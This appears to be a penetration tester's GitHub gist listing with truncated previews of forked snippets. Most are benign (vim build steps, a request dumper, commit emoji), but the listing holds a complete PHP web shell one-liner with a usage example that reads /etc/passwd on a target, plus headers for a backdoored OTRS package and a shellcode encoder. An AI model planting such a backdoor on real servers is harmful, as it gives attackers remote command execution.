Kevin Kirsche kkirsche

Senior Principal Security Engineer, Penetration Tester, and Exploit Developer #OSCP, #OSWP, #OSCE

kkirsche / MyPackage.opm

Created November 15, 2017 13:11 — forked from mgeeky/MyPackage.opm

OTRS OPM backdoored Package with Reverse Shell

	<?xml version="1.0" encoding="utf-8" ?>
	<otrs_package version="1.1">
	<Name>MyModule</Name>
	<Version>1.0.0</Version>
	<Vendor>My Module</Vendor>
	<URL>http://otrs.org/</URL>
	<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
	<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
	<Description Lang="en">MyModule</Description>
	<Framework>5.x.x</Framework>

kkirsche / Simple-Backdoor-One-Liner.php

Created November 22, 2017 03:26 — forked from sente/Simple-Backdoor-One-Liner.php

	<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
	<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
	<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

kkirsche / how-to-oscp-final.md

Created December 18, 2017 16:16 — forked from meldridge/how-to-oscp-final.md

How to pass the OSCP

kkirsche / dumprequest.php

Created March 6, 2018 19:34 — forked from magnetikonline/dumprequest.php

PHP script to dump full HTTP request to file (method, HTTP headers and body).

	<?php
	// https://gist.github.com/magnetikonline/650e30e485c0f91f2f40

	class DumpHTTPRequestToFile {

	public function execute($targetFile) {

	$data = sprintf(
	"%s %s %s\n\nHTTP headers:\n",
	$_SERVER['REQUEST_METHOD'],

kkirsche / vim8.x_with_lua

Created July 28, 2018 19:50 — forked from techgaun/vim8.x_with_lua

Install vim with lua support on ubuntu 16.04

	I needed to install vim with lua support because I wanted to use neocomplete in my recently installed 15.04 distro. Also, this has python3 enabled by default.

	Tested on 16.04 now

	Update: This has been tested and verified to work on Ubuntu 16.04 as well. Also, if you wish to use particular branch/tag, you can get the version and then checkout appropriately.
	The following (based upon https://gist.github.com/jdewit/9818870) should work though I copied it from history:

	sudo apt-get remove --purge vim vim-runtime vim-gnome vim-tiny vim-common vim-gui-common
	sudo apt-get build-dep vim-gnome
	sudo apt-get install build-essential liblua5.3-0 liblua5.3-dev python-dev ruby-dev libperl-dev libncurses5-dev libgnome2-dev libgnomeui-dev libgtk2.0-dev libatk1.0-dev libbonoboui2-dev libcairo2-dev libx11-dev libxpm-dev libxt-dev

kkirsche / ascii-shellcode-encoder.py

Created October 2, 2018 13:14 — forked from mgeeky/ascii-shellcode-encoder.py

ASCII Shellcode encoder for Exploit Development purposes, utilizing Jon Erickson's substract arguments finding algorithm.

	#!/usr/bin/python
	#
	# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
	# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler`
	# utility (as described in: Hacking - The Art of Exploitation).
	#
	# Basically one gives to the program's output a binary encoded shellcode,
	# and it yields on the output it's ASCII encoded form.
	#
	# This payload will at the beginning align the stack by firstly moving

kkirsche / ConventionalCommitsEmoji.md

Last active June 17, 2021 18:03 — forked from parmentf/ConventionalCommitsEmoji.md

Emoji for Conventional Commits